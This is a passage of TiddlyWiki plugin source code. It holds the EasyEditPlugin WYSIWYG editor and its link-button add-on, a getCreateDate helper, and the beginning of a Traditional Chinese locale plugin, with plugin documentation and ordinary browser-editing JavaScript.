|''~CoreVersion:''|2.1.0|
|''Browser:''|Firefox 2.0; InternetExplorer 6.0|
!Installation
#import the plugin,
#save and reload,
#use the <<toolbar easyEdit>> button in the tiddler's toolbar (in default ViewTemplate) or add {{{easyEdit}}} command in your own toolbar.
! Useful Addons
*[[HTMLFormattingPlugin|http://www.tiddlytools.com/#HTMLFormattingPlugin]] to embed wiki syntax in html tiddlers.<<br>>//__Tips__ : When this plugin is installed, you can use anchor syntax to link tiddlers in wysiwyg mode (example : #example). Anchors are converted back and from wiki syntax when editing.//
*[[TaggedTemplateTweak|http://www.TiddlyTools.com/#TaggedTemplateTweak]] to use alternative ViewTemplate/EditTemplate for tiddler's tagged with specific tag values.
!Configuration
|Buttons in the toolbar (empty = all).<<br>>//Example : bold,underline,separator,forecolor//<<br>>The buttons will appear in this order.| <<option txtEasyEditorButtons>>|
|EasyEditor default height | <<option txtEasyEditorHeight>>|
|Stylesheet applied to the edited richtext |[[EasyEditDocStyleSheet]]|
|Template called by the {{{write}}} button |[[EasyEditTemplate]]|
!How to extend EasyEditor
*To add your own buttons, add some code like the following in a systemConfig tagged tiddler (//use the prompt attribute only if there is a parameter//) :
**{{{EditorToolbar.buttons.heading = {label:"H", toolTip : "Set heading level", prompt: "Enter heading level"};}}} 
**{{{EditorToolbar.buttonsList +=",heading";}}}
*To get the list of all possible commands, see the documentation of the [[Gecko built-in rich text editor|http://developer.mozilla.org/en/docs/Midas]] or the [[IE command identifiers|http://msdn2.microsoft.com/en-us/library/ms533049.aspx]].
*To go further in customization, see [[Link button|EasyEditPlugin-LinkButton]] as an example.
!Code
***/

//{{{

var geckoEditor={};
var IEeditor={};

config.options.txtEasyEditorHeight = config.options.txtEasyEditorHeight ? config.options.txtEasyEditorHeight : "500px";
config.options.txtEasyEditorButtons = config.options.txtEasyEditorButtons ? config.options.txtEasyEditorButtons : "";

// TW2.1.x compatibility
config.browser.isGecko = config.browser.isGecko ? config.browser.isGecko : (config.userAgent.indexOf("gecko") != -1); 
config.macros.annotations = config.macros.annotations ? config.macros.annotations : {handler : function() {}}


// EASYEDITOR MACRO

config.macros.easyEdit = {
	handler : function(place,macroName,params,wikifier,paramString,tiddler) {
		var field = params[0];
		var height = params[1] ? params[1] : config.options.txtEasyEditorHeight;
		var editor = field ? new easyEditor(tiddler,field,place,height) : null;
	},
	gather: function(element){
		var iframes = element.getElementsByTagName("iframe");
		if (iframes.length!=1) return null
		var text = "<html>"+iframes[0].contentWindow.document.body.innerHTML+"</html>";
		text = config.browser.isGecko ? geckoEditor.postProcessor(text) : (config.browser.isIE ? IEeditor.postProcessor(text) : text);
		return text;
	}
}

// EASYEDITOR CLASS

function easyEditor(tiddler,field,place,height) {
	this.tiddler = tiddler;
	this.field = field;
	this.browser = config.browser.isGecko ? geckoEditor : (config.browser.isIE ? IEeditor : null);
	this.wrapper = createTiddlyElement(place,"div",null,"easyEditor");
	this.wrapper.setAttribute("easyEdit",this.field);
	this.iframe = createTiddlyElement(null,"iframe");
	this.browser.setupFrame(this.iframe,height,contextualCallback(this,this.onload));
	this.wrapper.appendChild(this.iframe);
}

easyEditor.prototype.onload = function(){
	this.editor = this.iframe.contentWindow;
	this.doc = this.editor.document;
	if (!this.browser.isDocReady(this.doc)) return null;
	
	if (!this.tiddler.isReadOnly() && this.doc.designMode.toLowerCase()!="on") {
		this.doc.designMode = "on";
		if (this.browser.reloadOnDesignMode) return false;	// IE fire readystatechange after designMode change
	}
	
	var internalCSS = store.getTiddlerText("EasyEditDocStyleSheet");
	setStylesheet(internalCSS,"EasyEditDocStyleSheet",this.doc);
	this.browser.initContent(this.doc,store.getValue(this.tiddler,this.field));

	var barElement=createTiddlyElement(null,"div",null,"easyEditorToolBar");
	this.wrapper.insertBefore(barElement,this.wrapper.firstChild);
	this.toolbar = new EditorToolbar(this.doc,barElement,this.editor);

	this.browser.plugEvents(this.doc,contextualCallback(this,this.scheduleButtonsRefresh));
	this.editor.focus();
}

easyEditor.SimplePreProcessoror = function(text) {
	var re = /^<html>(.*)<\/html>$/m;
	var htmlValue = re.exec(text);
	var value = (htmlValue && (htmlValue.length>0)) ? htmlValue[1] : text;
	return value;
}

easyEditor.prototype.scheduleButtonsRefresh=function() { //doesn't refresh buttons state when rough typing
	if (this.nextUpdate) window.clearTimeout(this.nextUpdate);
	this.nextUpdate = window.setTimeout(contextualCallback(this.toolbar,EditorToolbar.onUpdateButton),easyEditor.buttonDelay);
}

easyEditor.buttonDelay = 200;

// TOOLBAR CLASS

function EditorToolbar(target,parent,window){
	this.target = target;
	this.window=window;
	this.elements={};
	var row = createTiddlyElement(createTiddlyElement(createTiddlyElement(parent,"table"),"tbody"),"tr");
	var buttons = (config.options.txtEasyEditorButtons ? config.options.txtEasyEditorButtons : EditorToolbar.buttonsList).split(",");
	for(var cpt = 0; cpt < buttons.length; cpt++){
		var b = buttons[cpt];
		var button = EditorToolbar.buttons[b];
		if (button) {
			if (button.separator)
				createTiddlyElement(row,"td",null,"separator").innerHTML+="&nbsp;";
			else {
				var cell=createTiddlyElement(row,"td",null,b+"Button");
				if (button.onCreate) button.onCreate.call(this, cell, b);
				else EditorToolbar.createButton.call(this, cell, b);
			}
		}
	}
}

EditorToolbar.createButton = function(place,name){
	this.elements[name] = createTiddlyButton(place,EditorToolbar.buttons[name].label,EditorToolbar.buttons[name].toolTip,contextualCallback(this,EditorToolbar.onCommand(name)),"button");
}

EditorToolbar.onCommand = function(name){
	var button = EditorToolbar.buttons[name];
	return function(){
		var parameter = false;
		if (button.prompt) {
			var parameter = this.target.queryCommandValue(name);
			parameter = prompt(button.prompt,parameter);
		}
		if (parameter != null) {
			this.target.execCommand(name, false, parameter);
			EditorToolbar.onUpdateButton.call(this);
		}
		return false;
	}
}

EditorToolbar.getCommandState = function(target,name){
	try {return target.queryCommandState(name)}
	catch(e){return false}
}

EditorToolbar.onRefreshButton = function (name){
	if (EditorToolbar.getCommandState(this.target,name)) addClass(this.elements[name].parentNode,"buttonON");
	else removeClass(this.elements[name].parentNode,"buttonON");
	this.window.focus();
}

EditorToolbar.onUpdateButton = function(){
	for (b in this.elements) 
		if (EditorToolbar.buttons[b].onRefresh) EditorToolbar.buttons[b].onRefresh.call(this,b);
		else EditorToolbar.onRefreshButton.call(this,b);
}

EditorToolbar.buttons = {
	separator : {separator : true},
	bold : {label:"B", toolTip : "Bold"},
	italic : {label:"I", toolTip : "Italic"},
	underline : {label:"U", toolTip : "Underline"},
	strikethrough : {label:"S", toolTip : "Strikethrough"},
	insertunorderedlist : {label:"\u25CF", toolTip : "Unordered list"},
	insertorderedlist : {label:"1.", toolTip : "Ordered list"},
	justifyleft : {label:"[\u2261", toolTip : "Align left"},
	justifyright : {label:"\u2261]", toolTip : "Align right"},
	justifycenter : {label:"\u2261", toolTip : "Align center"},
	justifyfull : {label:"[\u2261]", toolTip : "Justify"},
	removeformat : {label:"\u00F8", toolTip : "Remove format"},
	fontsize : {label:"\u00B1", toolTip : "Set font size", prompt: "Enter font size"},
	forecolor : {label:"C", toolTip : "Set font color", prompt: "Enter font color"},
	fontname : {label:"F", toolTip : "Set font name", prompt: "Enter font name"},
	heading : {label:"H", toolTip : "Set heading level", prompt: "Enter heading level (example : h1, h2, ...)"},
	indent : {label:"\u2192[", toolTip : "Indent paragraph"},
	outdent : {label:"[\u2190", toolTip : "Outdent paragraph"},
	inserthorizontalrule : {label:"\u2014", toolTip : "Insert an horizontal rule"},
	insertimage : {label:"\u263C", toolTip : "Insert image", prompt: "Enter image url"}
}

EditorToolbar.buttonsList = "bold,italic,underline,strikethrough,separator,increasefontsize,decreasefontsize,fontsize,forecolor,fontname,separator,removeformat,separator,insertparagraph,insertunorderedlist,insertorderedlist,separator,justifyleft,justifyright,justifycenter,justifyfull,indent,outdent,separator,heading,separator,inserthorizontalrule,insertimage";

if (config.browser.isGecko) {
	EditorToolbar.buttons.increasefontsize = {onCreate : EditorToolbar.createButton, label:"A", toolTip : "Increase font size"};
	EditorToolbar.buttons.decreasefontsize = {onCreate : EditorToolbar.createButton, label:"A", toolTip : "Decrease font size"};
	EditorToolbar.buttons.insertparagraph = {label:"P", toolTip : "Format as paragraph"};
}

// GECKO (FIREFOX, ...) BROWSER SPECIFIC METHODS

geckoEditor.setupFrame = function(iframe,height,callback) {
	iframe.setAttribute("style","width: 100%; height:" + height);
	iframe.addEventListener("load",callback,true);
}

geckoEditor.plugEvents = function(doc,onchange){
	doc.addEventListener("keyup", onchange, true);
	doc.addEventListener("keydown", onchange, true);
	doc.addEventListener("click", onchange, true);
}

geckoEditor.postProcessor = function(text){return text};

geckoEditor.preProcessor = function(text){return easyEditor.SimplePreProcessoror(text)}

geckoEditor.isDocReady = function() {return true;}

geckoEditor.reloadOnDesignMode=false;

geckoEditor.initContent = function(doc,content){
	if (content) doc.execCommand("insertHTML",false,geckoEditor.preProcessor(content));
}

// INTERNET EXPLORER BROWSER SPECIFIC METHODS
	
IEeditor.setupFrame = function(iframe,height,callback) {
	iframe.width="99%";  //IE displays the iframe at the bottom if 100%. CSS layout problem ? I don't know. To be studied...
	iframe.height=height.toString();
	iframe.attachEvent("onreadystatechange",callback);
}

IEeditor.plugEvents = function(doc,onchange){
	doc.attachEvent("onkeyup", onchange);
	doc.attachEvent("onkeydown", onchange);
	doc.attachEvent("onclick", onchange);
}

IEeditor.isDocReady = function(doc){
	if (doc.readyState!="complete") return false;
	if (!doc.body) return false;
	return (doc && doc.getElementsByTagName && doc.getElementsByTagName("head") && doc.getElementsByTagName("head").length>0);
}

IEeditor.postProcessor = function(text){return text};

IEeditor.preProcessor = function(text){return easyEditor.SimplePreProcessoror(text)}

IEeditor.reloadOnDesignMode=true;

IEeditor.initContent = function(doc,content){
	if (content) doc.body.innerHTML=IEeditor.preProcessor(content);
}
	
function contextualCallback(obj,func){
    return function(){return func.call(obj)}
}
	
Story.prototype.previousGatherSaveEasyEdit = Story.prototype.previousGatherSaveEasyEdit ? Story.prototype.previousGatherSaveEasyEdit : Story.prototype.gatherSaveFields; // to avoid looping if this line is called several times
Story.prototype.gatherSaveFields = function(e,fields){
	if(e && e.getAttribute) {
		var f = e.getAttribute("easyEdit");
		if(f){
			var newVal = config.macros.easyEdit.gather(e);
			if (newVal) fields[f] = newVal;
		}
		this.previousGatherSaveEasyEdit(e, fields);
	}
}

config.commands.easyEdit={
	text: "編輯網頁",
	tooltip: "Edit this tiddler in wysiwyg mode",
	readOnlyText: "檢視",
	readOnlyTooltip: "View the source of this tiddler",
	handler : function(event,src,title) {
		clearMessage();
		var tiddlerElem = document.getElementById(story.idPrefix + title);
		var fields = tiddlerElem.getAttribute("tiddlyFields");
		story.displayTiddler(null,title,"EasyEditTemplate",false,null,fields);
		return false;
	}
}

config.shadowTiddlers.ViewTemplate = config.shadowTiddlers.ViewTemplate.replace(/\+editTiddler/,"+editTiddler easyEdit");

config.shadowTiddlers.EasyEditTemplate = config.shadowTiddlers.EditTemplate.replace(/macro='edit text'/,"macro='easyEdit text'");

config.shadowTiddlers.EasyEditToolBarStyleSheet = "/*{{{*/\n";
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar {font-size:0.8em}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".editor iframe {border:1px solid #DDD}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar td{border:1px solid #888; padding:2px 1px 2px 1px; vertical-align:middle}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar td.separator{border:0}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .button{border:0;color:#444}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .buttonON{background-color:#EEE}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar {margin:0.25em 0}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .boldButton {font-weight:bold}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .italicButton .button {font-style:italic;padding-right:0.65em}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .underlineButton .button {text-decoration:underline}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .strikeButton .button {text-decoration:line-through}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .unorderedListButton {margin-left:0.7em}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .justifyleftButton .button {padding-left:0.1em}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .justifyrightButton .button {padding-right:0.1em}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .justifyfullButton .button, .easyEditorToolBar .indentButton .button, .easyEditorToolBar .outdentButton .button {padding-left:0.1em;padding-right:0.1em}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .increasefontsizeButton .button {padding-left:0.15em;padding-right:0.15em; font-size:1.3em; line-height:0.75em}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .decreasefontsizeButton .button {padding-left:0.4em;padding-right:0.4em; font-size:0.8em;}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .forecolorButton .button {color:red;}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet += ".easyEditorToolBar .fontnameButton .button {font-family:serif}\n" ;
config.shadowTiddlers.EasyEditToolBarStyleSheet +="/*}}}*/";

store.addNotification("EasyEditToolBarStyleSheet", refreshStyles); 

config.shadowTiddlers.EasyEditDocStyleSheet = "/*{{{*/\n \n/*}}}*/";
if (config.annotations) config.annotations.EasyEditDocStyleSheet = "This stylesheet is applied when editing a text with the wysiwyg easyEditor";

//}}}
/***
!Link button add-on
***/
//{{{
EditorToolbar.createLinkButton = function(place,name) {
	this.elements[name] = createTiddlyButton(place,EditorToolbar.buttons[name].label,EditorToolbar.buttons[name].toolTip,contextualCallback(this,EditorToolbar.onInputLink()),"button");
}

EditorToolbar.onInputLink = function() {
	return function(){
		var browser = config.browser.isGecko ? geckoEditor : (config.browser.isIE ? IEeditor : null);
		var value = browser ? browser.getLink(this.target) : "";
		value = prompt(EditorToolbar.buttons["createlink"].prompt,value);
		if (value) browser.doLink(this.target,value);
		else if (value=="") this.target.execCommand("unlink", false, value);
		EditorToolbar.onUpdateButton.call(this);
		return false;
	}
}

EditorToolbar.buttonsList += ",separator,createlink";

EditorToolbar.buttons.createlink = {onCreate : EditorToolbar.createLinkButton, label:"L", toolTip : "Set link", prompt: "Enter link url"};


geckoEditor.getLink=function(doc){
	var range=doc.defaultView.getSelection().getRangeAt(0);
	var container = range.commonAncestorContainer;
	var node = (container.nodeType==3) ? container.parentNode : range.startContainer.childNodes[range.startOffset];
	if (node && node.tagName=="A") {
		var r=doc.createRange();
		r.selectNode(node);
		doc.defaultView.getSelection().addRange(r);
		return (node.getAttribute("tiddler") ? "#"+node.getAttribute("tiddler") : node.href);
	}
	else return (container.nodeType==3 ? "#"+container.textContent.substr(range.startOffset, range.endOffset-range.startOffset).replace(/ $/,"") : "");
}

geckoEditor.doLink=function(doc,link){ // store tiddler in a temporary attribute to avoid url encoding of tiddler's name
	var pin = "href"+Math.random().toString().substr(3);
	doc.execCommand("createlink", false, pin);
	var isTiddler=(link.charAt(0)=="#");
	var node = doc.defaultView.getSelection().getRangeAt(0).commonAncestorContainer;
	var links= (node.nodeType!=3) ? node.getElementsByTagName("a") : [node.parentNode];
	for (var cpt=0;cpt<links.length;cpt++) 
			if (links[cpt].href==pin){
				links[cpt].href=isTiddler ? "javascript:;" : link; 
				links[cpt].setAttribute("tiddler",isTiddler ? link.substr(1) : "");
			}
}

geckoEditor.beforeLinkPostProcessor = geckoEditor.beforelinkPostProcessor ? geckoEditor.beforelinkPostProcessor : geckoEditor.postProcessor;
geckoEditor.postProcessor = function(text){
	return geckoEditor.beforeLinkPostProcessor(text).replace(/<a tiddler="([^"]*)" href="javascript:;">(.*?)(?:<\/a>)/gi,"[[$2|$1]]").replace(/<a tiddler="" href="/gi,'<a href="');
}

geckoEditor.beforeLinkPreProcessor = geckoEditor.beforeLinkPreProcessor ? geckoEditor.beforeLinkPreProcessor : geckoEditor.preProcessor
geckoEditor.preProcessor = function(text){
	return geckoEditor.beforeLinkPreProcessor(text).replace(/\[\[([^|\]]*)\|([^\]]*)]]/g,'<a tiddler="$2" href="javascript:;">$1</a>');
}


IEeditor.getLink=function(doc){
	var node=doc.selection.createRange().parentElement();
	if (node.tagName=="A") return node.href;
	else return (doc.selection.type=="Text"? "#"+doc.selection.createRange().text.replace(/ $/,"") :"");
}

IEeditor.doLink=function(doc,link){
	doc.execCommand("createlink", false, link);
}

IEeditor.beforeLinkPreProcessor = IEeditor.beforeLinkPreProcessor ? IEeditor.beforeLinkPreProcessor : IEeditor.preProcessor
IEeditor.preProcessor = function(text){
	return IEeditor.beforeLinkPreProcessor(text).replace(/\[\[([^|\]]*)\|([^\]]*)]]/g,'<a ref="#$2">$1</a>');
}

IEeditor.beforeLinkPostProcessor = IEeditor.beforelinkPostProcessor ? IEeditor.beforelinkPostProcessor : IEeditor.postProcessor;
IEeditor.postProcessor = function(text){
	return IEeditor.beforeLinkPostProcessor(text).replace(/<a href="#([^>]*)">([^<]*)<\/a>/gi,"[[$2|$1]]");
}

IEeditor.beforeLinkInitContent = IEeditor.beforeLinkInitContent ? IEeditor.beforeLinkInitContent : IEeditor.initContent;
IEeditor.initContent = function(doc,content){
	IEeditor.beforeLinkInitContent(doc,content);
	var links=doc.body.getElementsByTagName("A");
	for (var cpt=0; cpt<links.length; cpt++) {
		links[cpt].href=links[cpt].ref; //to avoid IE conversion of relative URLs to absolute
		links[cpt].removeAttribute("ref");	
	}
}

config.shadowTiddlers.EasyEditToolBarStyleSheet += "\n/*{{{*/\n.easyEditorToolBar .createlinkButton .button {color:blue;text-decoration:underline;}\n/*}}}*/";

config.shadowTiddlers.EasyEditDocStyleSheet += "\n/*{{{*/\na {color:#0044BB;font-weight:bold}\n/*}}}*/";

//}}}
//{{{
//============================================================================
// getCreateDate Function
//============================================================================
//
// Returns the "create date" as generated by the AutoTaggerPlugin
// (http://www.TiddlyTools.com/#AutoTaggerPlugin).
// The create date must be stored in the default format "YYYY.0MM.0DD".
//
// @return [may be null] the create date (as a String) or null if no create 
// date is found.
//
version.extensions.getCreateDate = {major: 1, minor: 0, revision: 0, 
 date: new Date(2005,11,21), 
 provider: "http://tiddlywiki.abego-software.de"};
//
function getCreateDate(tiddler) {
 if (!tiddler || !tiddler.tags) {
 return null;
 }

 for(var i = 0; i < tiddler.tags.length; i++) {
 var matches = tiddler.tags[i].match(/^[0-9]{4}\.[0-9]{2}\.[0-9]{2}$/);
 if (matches && matches.length > 0) {
 return matches[0];
 }
 }
 return null;
}

//}}}
/***
|''Name:''|zh-HantTranslationPlugin|
|''Description:''|Translation of TiddlyWiki into Traditional Chinese|
|''Source:''|http://tiddlywiki-zh.googlecode.com/svn/trunk/|
|''Subversion:''|http://svn.tiddlywiki.org/Trunk/association/locales/core/zh-Hant/locale.zh-Hant.js|
|''Author:''|BramChen (bram.chen (at) gmail (dot) com)|
|''Version:''|2.2.6|
|''Date:''|Dec 01, 2007|
|''Comments:''|Please make comments at http://groups-beta.google.com/group/TiddlyWiki-zh/|
|''License:''|[[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|''~CoreVersion:''|2.2.0|
***/

//{{{
// --
// -- Translateable strings
// --

// Strings in "double quotes" should be translated; strings in 'single quotes' should be left alone

config.locale = 'zh-Hant'; // W3C language tag

if (config.options.txtUserName == 'YourName' || !config.options.txtUserName) // do not translate this line, but do translate the next line
	merge(config.options,{txtUserName: "YourName"});

merge(config.tasks,{
	save: {text: "儲存", tooltip: "儲存變更至此 TiddlyWiki", action: saveChanges},
	sync: {text: "同步", tooltip: "將你的資料內容與外部伺服器與檔案同步", content: '<<sync>>'},
	importTask: {text: "導入", tooltip: "自其他檔案或伺服器導入文章或套件", content: '<<importTiddlers>>'},
	tweak: {text: "選項", tooltip: "改變此 TiddlyWiki 的顯示與行為的設定", content: '<<options>>'},
	plugins: {text: "套件管理", tooltip: "管理已安裝的套件", content: '<<plugins>>'}
});

merge(config.optionsDesc,{
	txtUserName: "編輯文章所使用之作者署名",
	chkRegExpSearch: "啟用正規式搜尋",
	chkCaseSensitiveSearch: "搜尋時,區分大小寫",
	chkAnimate: "使用動畫顯示",
	chkSaveBackups: "儲存變更前,保留備份檔案",
	chkAutoSave: "自動儲存變更",
	chkGenerateAnRssFeed: "儲存變更時,也儲存 RSS feed",
	chkSaveEmptyTemplate: "儲存變更時,也儲存空白範本",
	chkOpenInNewWindow: "於新視窗開啟連結",
	chkToggleLinks: "點擊已開啟文章將其關閉",
	chkHttpReadOnly: "非本機瀏覽文件時,隱藏編輯功能",
	chkForceMinorUpdate: "修改文章時,不變更作者名稱與日期時間",
	chkConfirmDelete: "刪除文章前須確認",
	chkInsertTabs: "使用 tab 鍵插入定位字元,而非跳至下一個欄位",
	txtBackupFolder: "存放備份檔案的資料夾",
	txtMaxEditRows: "編輯模式中顯示列數",
	txtFileSystemCharSet: "指定儲存文件所在之檔案系統之字集 (僅適用於 Firefox/Mozilla only)"});

// Messages
merge(config.messages,{
	customConfigError: "套件載入發生錯誤,詳細請參考 PluginManager",
	pluginError: "發生錯誤: %0",
	pluginDisabled: "未執行,因標籤設為 'systemConfigDisable'",
	pluginForced: "已執行,因標籤設為 'systemConfigForce'",
	pluginVersionError: "未執行,套件需較新版本的 TiddlyWiki",
	nothingSelected: "尚未作任何選擇,至少需選擇一項",
	savedSnapshotError: "此 TiddlyWiki 未正確存檔,詳見 http://www.tiddlywiki.com/#DownloadSoftware",
	subtitleUnknown: "(未知)",
	undefinedTiddlerToolTip: "'%0' 尚無內容",
	shadowedTiddlerToolTip: "'%0' 尚無內容, 但已定義隱藏的預設值",
	tiddlerLinkTooltip: "%0 - %1, %2",
	externalLinkTooltip: "外部連結至 %0",
	noTags: "未設定標籤的文章",
	notFileUrlError: "須先將此 TiddlyWiki 存至檔案,才可儲存變更",
	cantSaveError: "無法儲存變更。可能的原因有:\n- 你的瀏覽器不支援此儲存功能(Firefox, Internet Explorer, Safari and Opera 經適當設定後可儲存變更)\n- 也可能是你的 TiddlyWiki 檔名包含不合法的字元所致。\n- 或是 TiddlyWiki 文件被改名或搬移。",
	invalidFileError: " '%0' 非有效之 TiddlyWiki 文件",
	backupSaved: "已儲存備份",
	backupFailed: "無法儲存備份",
	rssSaved: "RSS feed 已儲存",
	rssFailed: "無法儲存 RSS feed ",
	emptySaved: "已儲存範本",
	emptyFailed: "無法儲存範本",
	mainSaved: "主要的TiddlyWiki已儲存",
	mainFailed: "無法儲存主要 TiddlyWiki,所作的改變未儲存",
	macroError: "巨集 <<\%0>> 執行錯誤",
	macroErrorDetails: "執行巨集 <<\%0>> 時,發生錯誤 :\n%1",
	missingMacro: "無此巨集",
	overwriteWarning: "'%0' 已存在,[確定]覆寫之",
	unsavedChangesWarning: "注意! 尚未儲存變更\n\n[確定]存檔,或[取消]放棄存檔?",
	confirmExit: "--------------------------------\n\nTiddlyWiki 以更改內容尚未儲存,繼續的話將遺失這些更動\n\n--------------------------------",
	saveInstructions: "SaveChanges",
	unsupportedTWFormat: "未支援此 TiddlyWiki 格式:'%0'",
	tiddlerSaveError: "儲存文章 '%0' 時,發生錯誤。",
	tiddlerLoadError: "載入文章 '%0' 時,發生錯誤。",
	wrongSaveFormat: "無法使用格式 '%0' 儲存,請使用標准格式存放",
	invalidFieldName: "無效的欄位名稱:%0",
	fieldCannotBeChanged: "無法變更欄位:'%0'",
	loadingMissingTiddler: "正從伺服器 '%1' 的:\n\n工作區 '%3' 中的 '%2' 擷取文章 '%0'"});

merge(config.messages.messageClose,{
	text: "關閉",
	tooltip: "關閉此訊息"});

config.messages.backstage = {
	open: {text: "控制台", tooltip: "開啟控制台執行編寫工作"},
	close: {text: "關閉", tooltip: "關閉控制台"},
	prompt: "控制台:",
	decal: {
		edit: {text: "編輯", tooltip: "編輯 '%0'"}
	}
};

config.messages.listView = {
	tiddlerTooltip: "檢視全文",
	previewUnavailable: "(無法預覽)"
};

config.messages.dates.months = ["一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月"];
config.messages.dates.days = ["星期日", "星期一","星期二", "星期三", "星期四", "星期五", "星期六"];
// config.messages.dates.shortMonths = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"];
config.messages.dates.shortMonths = ["一", "二", "三", "四", "五", "六", "七", "八", "九", "十", "十一", "十二"];
// config.messages.dates.shortDays = ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"];
config.messages.dates.shortDays = ["日", "一","二", "三", "四", "五", "六"];
// suffixes for dates, eg "1st","2nd","3rd"..."30th","31st"
config.messages.dates.daySuffixes = ["st","nd","rd","th","th","th","th","th","th","th",
		"th","th","th","th","th","th","th","th","th","th",
		"st","nd","rd","th","th","th","th","th","th","th",
		"st"];
config.messages.dates.am = "上午";
config.messages.dates.pm = "下午";

merge(config.messages.tiddlerPopup,{ 
	});

merge(config.views.wikified.tag,{
	labelNoTags: "未設標籤",
	labelTags: "標籤: ",
	openTag: "開啟標籤 '%0'",
	tooltip: "顯示標籤為 '%0' 的文章",
	openAllText: "開啟以下所有文章",
	openAllTooltip: "開啟以下所有文章",
	popupNone: "僅此文標籤為 '%0'"});

merge(config.views.wikified,{
	defaultText: "",
	defaultModifier: "(未完成)",
	shadowModifier: "(預設)",
	dateFormat: "YYYY年0MM月0DD日",
	createdPrompt: "建立於"});

merge(config.views.editor,{
	tagPrompt: "設定標籤之間以空白區隔,[[標籤含空白時請使用雙中括弧]],或點選現有之標籤加入",
	defaultText: ""});

merge(config.views.editor.tagChooser,{
	text: "標籤",
	tooltip: "點選現有之標籤加至本文章",
	popupNone: "未設定標籤",
	tagTooltip: "加入標籤 '%0'"});

merge(config.messages,{
	sizeTemplates:
		[
		{unit: 1024*1024*1024, template: "%0\u00a0GB"},
		{unit: 1024*1024, template: "%0\u00a0MB"},
		{unit: 1024, template: "%0\u00a0KB"},
		{unit: 1, template: "%0\u00a0B"}
		]});

merge(config.macros.search,{
	label: " 尋找",
	prompt: "搜尋本 Wiki",
	accessKey: "F",
	successMsg: " %0 篇符合條件: %1",
	failureMsg: " 無符合條件: %0"});

merge(config.macros.tagging,{
	label: "引用標籤:",
	labelNotTag: "無引用標籤",
	tooltip: "列出標籤為 '%0' 的文章"});

merge(config.macros.timeline,{
	dateFormat: "YYYY年0MM月0DD日"});

merge(config.macros.allTags,{
	tooltip: "顯示文章- 標籤為'%0'",
	noTags: "沒有標籤"});

config.macros.list.all.prompt = "依字母排序";
config.macros.list.missing.prompt = "被引用且內容空白的文章";
config.macros.list.orphans.prompt = "未被引用的文章";
config.macros.list.shadowed.prompt = "這些隱藏的文章已預設內容";
config.macros.list.touched.prompt = "自下載或新增後被修改過的文章"; 

merge(config.macros.closeAll,{
	label: "全部關閉",
	prompt: "關閉所有開啟中的 tiddler (編輯中除外)"});

merge(config.macros.permaview,{
	label: "引用連結",
	prompt: "可存取現有開啟之文章的連結位址"});

merge(config.macros.saveChanges,{
	label: "儲存變更",
	prompt: "儲存所有文章,產生新的版本",
	accessKey: "S"});

merge(config.macros.newTiddler,{
	label: "新增文章",
	prompt: "新增 tiddler",
	title: "新增文章",
	accessKey: "N"});

merge(config.macros.newJournal,{
	label: "新增日誌",
	prompt: "新增 jounal",
	accessKey: "J"});

merge(config.macros.options,{
	wizardTitle: "增訂的進階選項",
	step1Title: "增訂的選項儲存於瀏覽器的 cookies",
	step1Html: "<input type='hidden' name='markList'></input><br><input type='checkbox' checked='false' name='chkUnknown'>顯示未知選項</input>",
	unknownDescription: "//(未知)//",
	listViewTemplate: {
		columns: [
			{name: 'Option', field: 'option', title: "選項", type: 'String'},
			{name: 'Description', field: 'description', title: "說明", type: 'WikiText'},
			{name: 'Name', field: 'name', title: "名稱", type: 'String'}
			],
		rowClasses: [
			{className: 'lowlight', field: 'lowlight'}
			]}
	});

merge(config.macros.plugins,{
	wizardTitle: "擴充套件管理",
	step1Title: "- 已載入之套件",
	step1Html: "<input type='hidden' name='markList'></input>", // DO NOT TRANSLATE
	skippedText: "(此套件因剛加入,故尚未執行)",
	noPluginText: "未安裝套件",
	confirmDeleteText: "確認是否刪除此文章:\n\n%0",
	removeLabel: "移除 systemConfig 標籤",
	removePrompt: "移除 systemConfig 標籤",
	deleteLabel: "刪除",
	deletePrompt: "永遠刪除所選",

	listViewTemplate : {
		columns: [
			{name: 'Selected', field: 'Selected', rowName: 'title', type: 'Selector'},
			{name: 'Tiddler', field: 'tiddler', title: "套件", type: 'Tiddler'},
			{name: 'Size', field: 'size', tiddlerLink: 'size', title: "大小", type: 'Size'},
			{name: 'Forced', field: 'forced', title: "強制執行", tag: 'systemConfigForce', type: 'TagCheckbox'},
			{name: 'Disabled', field: 'disabled', title: "停用", tag: 'systemConfigDisable', type: 'TagCheckbox'},
			{name: 'Executed', field: 'executed', title: "已載入", type: "Boolean", trueText: "是", falseText: "否"},
			{name: 'Startup Time', field: 'startupTime', title: "載入時間", type: 'String'},
			{name: 'Error', field: 'error', title: "載入狀態", type: 'Boolean', trueText: "錯誤", falseText: "正常"},
			{name: 'Log', field: 'log', title: "紀錄", type: 'StringList'}
			],
